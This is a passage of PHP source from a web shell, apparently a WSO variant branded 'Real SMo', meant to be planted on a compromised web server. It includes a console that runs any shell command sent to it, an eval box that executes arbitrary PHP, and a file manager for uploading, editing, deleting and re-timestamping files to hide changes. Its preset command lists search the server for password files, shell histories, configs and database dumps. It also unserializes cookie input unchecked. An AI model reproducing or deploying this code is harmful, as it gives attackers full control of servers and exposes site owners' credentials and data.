  1030.                                 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  1031.                                 $oRb = @highlight_file($_POST['p1'],true);
  1032.                                 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$oRb).'</div>';
  1033.                         }
  1034.                         break;
  1035.                 case 'chmod':
  1036.                         if( !empty($_POST['p3']) ) {
  1037.                                 $perms = 0;
  1038.                                 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  1039.                                         $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  1040.                                 if(!@chmod($_POST['p1'], $perms))
  1041.                                         echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  1042.                         }
  1043.                         clearstatcache();
  1044.                         echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value="submit"></form>';
  1045.                         break;
  1046.                 case 'edit':
  1047.                         if( !is_writable($_POST['p1'])) {
  1048.                                 echo 'File isn\'t writeable';
  1049.                                 break;
  1050.                         }
  1051.                         if( !empty($_POST['p3']) ) {
  1052.                                 $time = @filemtime($_POST['p1']);
  1053.                                 $_POST['p3'] = substr($_POST['p3'],1);
  1054.                                 $fp = @fopen($_POST['p1'],"w");
  1055.                                 if($fp) {
  1056.                                         @fwrite($fp,$_POST['p3']);
  1057.                                         @fclose($fp);
  1058.                                         echo '<b style="color:#28C76F !important">Saved!<b><br><script>p3_="";</script>';
  1059.                                         @touch($_POST['p1'],$time,$time);
  1060.                                 }
  1061.                         }
  1062.            
  1063.                 
  1064.                         echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  1065.                         $fp = @fopen($_POST['p1'], 'r');
  1066.                         if($fp) {//--------------Real SMo--------------//
  1067.                                 while( !@feof($fp) )
  1068.                                         echo htmlspecialchars(@fread($fp, 1024));
  1069.                                 @fclose($fp);
  1070.                         }
  1071.                         echo '</textarea><input type=submit value="submit"></form>';
  1072.                         break;//--------------Real SMo--------------//
  1073.                 case 'hexdump':
  1074.                         $c = @file_get_contents($_POST['p1']);
  1075.                         $n = 0;
  1076.                         $h = array('00000000<br>','','');
  1077.                         $len = strlen($c);
  1078.                         for ($i=0; $i<$len; ++$i) {
  1079.                                 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  1080.                                 switch ( ord($c[$i]) ) {
  1081.                                         case 0:  $h[2] .= ' '; break;
  1082.                                         case 9:  $h[2] .= ' '; break;
  1083.                                         case 10: $h[2] .= ' '; break;
  1084.                                         case 13: $h[2] .= ' '; break;
  1085.                                         default: $h[2] .= $c[$i]; break;
  1086.                                 }
  1087.                                 $n++;
  1088.                                 if ($n == 32) {
  1089.                                         $n = 0;
  1090.                                         if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  1091.                                         $h[1] .= '<br>';
  1092.                                         $h[2] .= "\n";
  1093.                                 }
  1094.                         }
  1095.                         echo '<table cellspacing=1 cellpadding=5 bgcolor=#222><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#060a10><pre>'.$h[1].'</pre></td><td bgcolor=#202832><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  1096.                         break;
  1097.                 case 'rename':
  1098.                         if( !empty($_POST['p3']) ) {
  1099.                                 if(!@rename($_POST['p1'], $_POST['p3']))
  1100.                                         echo 'Can\'t rename!<br>';
  1101.                                 else
  1102.                                         die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  1103.                         }
  1104.                         echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value="submit"></form>';
  1105.                         break;
  1106.         case 'back':
  1107.            die('<script>g(\'FilesMan\',null,\'\',\'\',\'\');</script>');
  1108.                         break;
  1109.                 case 'touch':
  1110.                         if( !empty($_POST['p3']) ) {
  1111.                                 $time = strtotime($_POST['p3']);
  1112.                                 if($time) {
  1113.                                         if(!touch($_POST['p1'],$time,$time))
  1114.                                                 echo 'Fail!';
  1115.                                         else
  1116.                                                 echo 'Touched!';
  1117.                                 } else echo 'Bad time format!';
  1118.                         }
  1119.                         clearstatcache();
  1120.                         echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value="submit"></form>';
  1121.                         break;
  1122.                 //--------------Real SMo--------------//
  1123.                 case 'frame':
  1124.                         $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
  1125.                         if ($frameSrc[0] != '/')
  1126.                                 $frameSrc = '/' . $frameSrc;
  1127.                         if ($frameSrc[strlen($frameSrc) - 1] != '/')
  1128.                                 $frameSrc = $frameSrc . '/';
  1129.                         $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
  1130.                         echo '<iframe width="100%" height="900px" scrolling="no" src='.$frameSrc.' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
  1131.                         break;
  1132.         }
  1133.         echo '</div>';
  1134.         hardFooter();
  1135. }
  1136. if($os == 'win')
  1137.         $aliases = array(
  1138.                 "List Directory" => "dir",
  1139.         "Find index.php in current dir" => "dir /s /w /b index.php",
  1140.         "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  1141.         "Show active connections" => "netstat -an",
  1142.         "Show running services" => "net start",
  1143.         "User accounts" => "net user",
  1144.         "Show computers" => "net view",
  1145.                 "ARP Table" => "arp -a",
  1146.                 "IP Configuration" => "ipconfig /all"
  1147.         );
  1148. else//--------------Real SMo--------------//
  1149.         $aliases = array(
  1150.                 "List dir" => "ls -lha",
  1151.                 "list file attributes on a Linux second extended file system" => "lsattr -va",
  1152.                 "show opened ports" => "netstat -an | grep -i listen",
  1153.         "process status" => "ps aux",
  1154.                 "Find" => "",
  1155.                 "find all suid files" => "find / -type f -perm -04000 -ls",
  1156.                 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  1157.                 "find all sgid files" => "find / -type f -perm -02000 -ls",
  1158.                 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  1159.                 "find config.inc.php files" => "find / -type f -name config.inc.php",
  1160.                 "find config* files" => "find / -type f -name \"config*\"",
  1161.                 "find config* files in current dir" => "find . -type f -name \"config*\"",
  1162.                 "find all writable folders and files" => "find / -perm -2 -ls",
  1163.                 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  1164.                 "find all service.pwd files" => "find / -type f -name service.pwd",
  1165.                 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  1166.                 "find all .htpasswd files" => "find / -type f -name .htpasswd",
  1167.                 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  1168.                 "find all .bash_history files" => "find / -type f -name .bash_history",
  1169.                 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  1170.                 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  1171.                 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  1172.                 "Locate" => "",//--------------Real SMo--------------////--------------Real SMo--------------//
  1173.                 "locate httpd.conf files" => "locate httpd.conf",
  1174.                 "locate vhosts.conf files" => "locate vhosts.conf",
  1175.                 "locate proftpd.conf files" => "locate proftpd.conf",
  1176.                 "locate psybnc.conf files" => "locate psybnc.conf",
  1177.                 "locate my.conf files" => "locate my.conf",
  1178.                 "locate admin.php files" =>"locate admin.php",
  1179.                 "locate cfg.php files" => "locate cfg.php",
  1180.                 "locate conf.php files" => "locate conf.php",
  1181.                 "locate config.dat files" => "locate config.dat",
  1182.                 "locate config.php files" => "locate config.php",
  1183.                 "locate config.inc files" => "locate config.inc",
  1184.                 "locate config.inc.php" => "locate config.inc.php",
  1185.                 "locate config.default.php files" => "locate config.default.php",
  1186.                 "locate config* files " => "locate config",
  1187.                 "locate .conf files"=>"locate '.conf'",
  1188.                 "locate .pwd files" => "locate '.pwd'",
  1189.                 "locate .sql files" => "locate '.sql'",
  1190.                 "locate .htpasswd files" => "locate '.htpasswd'",
  1191.                 "locate .bash_history files" => "locate '.bash_history'",
  1192.                 "locate .mysql_history files" => "locate '.mysql_history'",
  1193.                 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  1194.                 "locate backup files" => "locate backup",
  1195.                 "locate dump files" => "locate dump",
  1196.                 "locate priv files" => "locate priv"
  1197.         );
  1198. function actionConsole() {
  1199.     if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  1200.         prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  1201.         $_POST['p1'] .= ' 2>&1';
  1202.     } elseif(!empty($_POST['p1']))
  1203.         prototype(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  1204.         if(isset($_POST['ajax'])) {
  1205.                 prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1206.                 ob_start();//--------------Real SMo--------------//
  1207.                 echo "d.cf.cmd.value='';\n";
  1208.                 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".ex($_POST['p1']),"\n\r\t\'\0"));
  1209.                 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  1210.                         if(@chdir($match[1])) {
  1211.                                 $GLOBALS['cwd'] = @getcwd();
  1212.                                 echo "c_='".$GLOBALS['cwd']."';";
  1213.                         }
  1214.                 }
  1215.                 echo "d.cf.output.value+='".$temp."';";
  1216.                 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  1217.                 $temp = ob_get_clean();
  1218.                 echo strlen($temp), "\n", $temp;
  1219.                 exit;
  1220.         }
  1221.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1222.                 prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1223.         hardHeader();
  1224.     echo "<script>
  1225. if(window.Event) window.captureEvents(Event.KEYDOWN);
  1226. var cmds = new Array('');
  1227. var cur = 0;
  1228. function kp(e) {
  1229.         var n = (window.Event) ? e.which : e.keyCode;
  1230.         if(n == 38) {
  1231.                 cur--;
  1232.                 if(cur>=0)
  1233.                         document.cf.cmd.value = cmds[cur];
  1234.                 else
  1235.                         cur++;
  1236.         } else if(n == 40) {
  1237.                 cur++;
  1238.                 if(cur < cmds.length)
  1239.                         document.cf.cmd.value = cmds[cur];
  1240.                 else
  1241.                         cur--;
  1242.         }
  1243. }
  1244. function add(cmd) {
  1245.         cmds.pop();
  1246.         cmds.push(cmd);
  1247.         cmds.push('');
  1248.         cur = cmds.length-1;
  1249. }
  1250. </script>";
  1251.         echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
  1252.         foreach($GLOBALS['aliases'] as $n => $v) {
  1253.                 if($v == '') {
  1254.                         echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  1255.                         continue;
  1256.                 }
  1257.                 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  1258.         }
  1259.  
  1260.         echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
  1261.         if(!empty($_POST['p1'])) {
  1262.                 echo htmlspecialchars("$ ".$_POST['p1']."\n".ex($_POST['p1']));
  1263.         }
  1264.         echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  1265.         echo '</form></div><script>d.cf.cmd.focus();</script>';
  1266.         hardFooter();
  1267. }
  1268. function actionPhp() {
  1269.         if( isset($_POST['ajax']) ) {
  1270.                 $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  1271.                 ob_start();
  1272.                                 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1273.                 echo strlen($temp), "\n", $temp;
  1274.                 exit; 
  1275.         }
  1276.         hardHeader();
  1277.         if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  1278.                 echo '<h1>PHP info</h1><div class=content>';
  1279.                 ob_start();
  1280.                 phpinfo();
  1281.                 $tmp = ob_get_clean();
  1282.                 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  1283.                 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  1284.                 $tmp = preg_replace('!h1!msiU','h2',$tmp);
  1285.                 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  1286.                 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  1287.                 echo $tmp;
  1288.                 echo '</div><br>';//--------------Real SMo--------------//
  1289.         }
  1290.         if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1291.                 $_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  1292.                 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  1293.         echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  1294.         if(!empty($_POST['p1'])) {
  1295.                 ob_start();
  1296.                 eval($_POST['p1']);
  1297.                 echo htmlspecialchars(ob_get_clean());
  1298.         }
  1299.         echo '</pre></div>';
  1300.         hardFooter();
  1301. }
  1302. function actionFilesMan() {
  1303.     if (!empty ($_COOKIE['f']))
  1304.         $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  1305.     
  1306.         if(!empty($_POST['p1'])) {
  1307.                 switch($_POST['p1']) {//--------------Real SMo--------------//
  1308.                         case 'uploadFile':
  1309.                                 if ( is_array($_FILES['f']['tmp_name']) ) {
  1310.                                         foreach ( $_FILES['f']['tmp_name'] as $i => $tmpName ) {
  1311.                         if(!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
  1312.                                 echo "Can't upload file!";
  1313.                                                         }
  1314.                                                 }
  1315.                                         }
  1316.                                 break;
  1317.                         case 'mkdir':
  1318.                                 if(!@mkdir($_POST['p2']))
  1319.                                         echo "Can't create new dir";
  1320.                                 break;
  1321.                         case 'delete':
  1322.                                 function deleteDir($path) {
  1323.                                         $path = (substr($path,-1)=='/') ? $path:$path.'/';
  1324.                                         $dh  = opendir($path);
  1325.                                         while ( ($dokl = readdir($dh) ) !== false) {
  1326.                                                 $dokl = $path.$dokl;
  1327.                                                 if ( (basename($dokl) == "..") || (basename($dokl) == ".") )
  1328.                                                         continue;
  1329.                                                 $type = filetype($dokl);
  1330.                                                 if ($type == "dir")
  1331.                                                         deleteDir($dokl);
  1332.                                                 else
  1333.                                                         @unlink($dokl);
  1334.                                         }//--------------Real SMo--------------//
  1335.                                         closedir($dh);
  1336.                                         @rmdir($path);
  1337.                                 }
  1338.                                 if(is_array(@$_POST['f']))
  1339.                                         foreach($_POST['f'] as $f) {
  1340.                         if($f == '..')
  1341.                             continue;
  1342.                                                 $f = urldecode($f);
  1343.                                                 if(is_dir($f))
  1344.                                                         deleteDir($f);
  1345.                                                 else
  1346.                                                         @unlink($f);
  1347.                                         }
  1348.                                 break;
  1349.                         case 'paste':
  1350.                                 if($_COOKIE['act'] == 'copy') {
  1351.                                         function copy_paste($c,$s,$d){
  1352.                                                 if(is_dir($c.$s)){
  1353.                                                         mkdir($d.$s);
  1354.                                                         $h = @opendir($c.$s);
  1355.                                                         while (($f = @readdir($h)) !== false)
  1356.                                                                 if (($f != ".") and ($f != ".."))
  1357.                                                                         copy_paste($c.$s.'/',$f, $d.$s.'/');
  1358.                                                 } elseif(is_file($c.$s))
  1359.                                                         @copy($c.$s, $d.$s);
  1360.                                         }
  1361.                                         foreach($_COOKIE['f'] as $f)
  1362.                                                 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  1363.                                 } elseif($_COOKIE['act'] == 'move') {
  1364.                                         function move_paste($c,$s,$d){
  1365.                                                 if(is_dir($c.$s)){
  1366.                                                         mkdir($d.$s);
  1367.                                                         $h = @opendir($c.$s);
  1368.                                                         while (($f = @readdir($h)) !== false)
  1369.                                                                 if (($f != ".") and ($f != ".."))
  1370.                                                                         copy_paste($c.$s.'/',$f, $d.$s.'/');
  1371.                                                 } elseif(@is_file($c.$s))
  1372.                                                         @copy($c.$s, $d.$s);
  1373.                                         }
  1374.                                         foreach($_COOKIE['f'] as $f)
  1375.                                                 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  1376.                                 } elseif($_COOKIE['act'] == 'zip') {
  1377.                                         if(class_exists('ZipArchive')) {
  1378.                         $zip = new ZipArchive();
  1379.                         if ($zip->open($_POST['p2'], 1)) {
  1380.                             chdir($_COOKIE['c']);
  1381.                             foreach($_COOKIE['f'] as $f) {
  1382.                                 if($f == '..')
  1383.                                     continue;
  1384.                                 if(@is_file($_COOKIE['c'].$f))
  1385.                                     $zip->addFile($_COOKIE['c'].$f, $f);
  1386.                                 elseif(@is_dir($_COOKIE['c'].$f)) {
  1387.                                     $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  1388.                                     foreach ($iterator as $key=>$value) {
  1389.                                         $zip->addFile(realpath($key), $key);
  1390.                                     }
  1391.                                 }
  1392.                             }
  1393.                             chdir($GLOBALS['cwd']);
  1394.                             $zip->close();
  1395.                         }
  1396.                     }
  1397.                                 } elseif($_COOKIE['act'] == 'unzip') {
  1398.                                         if(class_exists('ZipArchive')) {
  1399.                         $zip = new ZipArchive();
  1400.                         foreach($_COOKIE['f'] as $f) {
  1401.                             if($zip->open($_COOKIE['c'].$f)) {
  1402.                                 $zip->extractTo($GLOBALS['cwd']);
  1403.                                 $zip->close();
  1404.                             }
  1405.                         }
  1406.                     }
  1407.                                 } elseif($_COOKIE['act'] == 'tar') {
  1408.                     chdir($_COOKIE['c']);
  1409.                     $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  1410.                     ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  1411.                     chdir($GLOBALS['cwd']);
  1412.                                 }
  1413.                                 unset($_COOKIE['f']);
  1414.                 setcookie('f', '', time() - 3600);
  1415.                                 break;
  1416.                         default:
  1417.                 if(!empty($_POST['p1'])) {
  1418.                                         prototype('act', $_POST['p1']);
  1419.                                         prototype('f', serialize(@$_POST['f']));
  1420.                                         prototype('c', @$_POST['c']);
  1421.                                 }
  1422.                                 break;
  1423.                 }
  1424.         }
  1425.     hardHeader();
  1426.         echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
  1427.         $dirContent = hardScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1428.         if($dirContent === false) {     echo 'Can\'t open this folder!';hardFooter(); return; }
  1429.         global $sort;
  1430.         $sort = array('name', 1);
  1431.         if(!empty($_POST['p1'])) {
  1432.                 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1433.                         $sort = array($match[1], (int)$match[2]);
  1434.         }
  1435. echo "<script>
  1436.         function sa() {
  1437.                 for(i=0;i<d.files.elements.length;i++)
  1438.                         if(d.files.elements[i].type == 'checkbox')
  1439.                                 d.files.elements[i].checked = d.files.elements[0].checked;
  1440.         }
  1441. </script>
  1442. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1443. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1444.         $dirs = $files = array();
  1445.         $n = count($dirContent);
  1446.         for($i=0;$i<$n;$i++) {
  1447.                 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1448.                 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1449.                 $tmp = array('name' => $dirContent[$i],
  1450.                                          'path' => $GLOBALS['cwd'].$dirContent[$i],
  1451.                                          'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  1452.                                          'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  1453.                                          'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  1454.                                          'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  1455.                                          'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  1456.                                         );
  1457.                 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  1458.                         $files[] = array_merge($tmp, array('type' => 'file'));
  1459.                 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  1460.                         $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  1461.                 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i])&&($dirContent[$i] != "."))
  1462.                         $dirs[] = array_merge($tmp, array('type' => 'dir'));
  1463.         }
  1464.         $GLOBALS['sort'] = $sort;
  1465.         function cmp($a, $b) {
  1466.                 if($GLOBALS['sort'][0] != 'size')
  1467.                         return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  1468.                 else
  1469.                         return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  1470.         }
  1471.         usort($files, "cmp");
  1472.         usort($dirs, "cmp");
  1473.         $files = array_merge($dirs, $files);
  1474.         $l = 0;
  1475.         foreach($files as $f) {
  1476.                 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  1477.                         .'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  1478.                 $l = $l?0:1;
  1479.         }
  1480.         echo "<tr id=fak><td colspan=7>
  1481.         <input type=hidden name=ne value=''>
  1482.         <input type=hidden name=a value='FilesMan'>
  1483.         <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  1484.         <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  1485.         <label><select name='p1'>";
  1486.         if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  1487.         echo "<option value='paste'>↳ Paste</option>";
  1488.         echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  1489.     if(class_exists('ZipArchive'))
  1490.         echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (unzip)</option>";
  1491.     echo "<option value='tar'>Compress (tar.gz)</option>";
  1492.     echo "</select></label>";
  1493.     if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  1494.         echo " file name: <input type=text name=p2 value='orvx_" . rand(100000,900000) . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
  1495.     echo "<input type='submit' value='submit'></td></tr></form></table></div>";
  1496.         hardFooter();
  1497. }
  1498. function actionStringTools() {
  1499.         if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  1500.     if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  1501.         if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  1502.         if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  1503.         if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  1504.         $stringTools = array(
  1505.                 'Base64 encode' => 'base64_encode',
  1506.                 'Base64 decode' => 'base64_decode',
  1507.                 'Url encode' => 'urlencode',
  1508.                 'Url decode' => 'urldecode',
  1509.                 'Full urlencode' => 'full_urlencode',
  1510.                 'md5 hash' => 'md5',
  1511.                 'sha1 hash' => 'sha1',
  1512.                 'crypt' => 'crypt',
  1513.                 'CRC32' => 'crc32',
  1514.                 'ASCII to HEX' => 'ascii2hex',
  1515.                 'HEX to ASCII' => 'hex2ascii',
  1516.                 'HEX to DEC' => 'hexdec',
  1517.                 'HEX to BIN' => 'hex2bin',
  1518.                 'DEC to HEX' => 'dechex',
  1519.                 'DEC to BIN' => 'decbin',
  1520.                 'BIN to HEX' => 'binhex',
  1521.                 'BIN to DEC' => 'bindec',
  1522.                 'String to lower case' => 'strtolower',
  1523.                 'String to upper case' => 'strtoupper',
  1524.                 'Htmlspecialchars' => 'htmlspecialchars',
  1525.                 'String length' => 'strlen',
  1526.         );
  1527.         if(isset($_POST['ajax'])) {
  1528.                 prototype(md5($_SERVER['HTTP_HOST']).'ajax', true);
  1529.                 ob_start();
  1530.                 if(in_array($_POST['p1'], $stringTools))
  1531.                         echo $_POST['p1']($_POST['p2']);
  1532.                 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  1533.                 echo strlen($temp), "\n", $temp;
  1534.                 exit;
  1535.         }
  1536.     if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  1537.                 prototype(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  1538.         hardHeader();
  1539.         echo '<h1>String conversions</h1><div class=content>';
  1540.         echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
  1541.         foreach($stringTools as $k => $v)
  1542.                 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  1543.                 echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  1544.         if(!empty($_POST['p1'])) {
  1545.                 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  1546.         }
  1547.         echo"</pre></div><br><h1>Search files:</h1><div class=content>
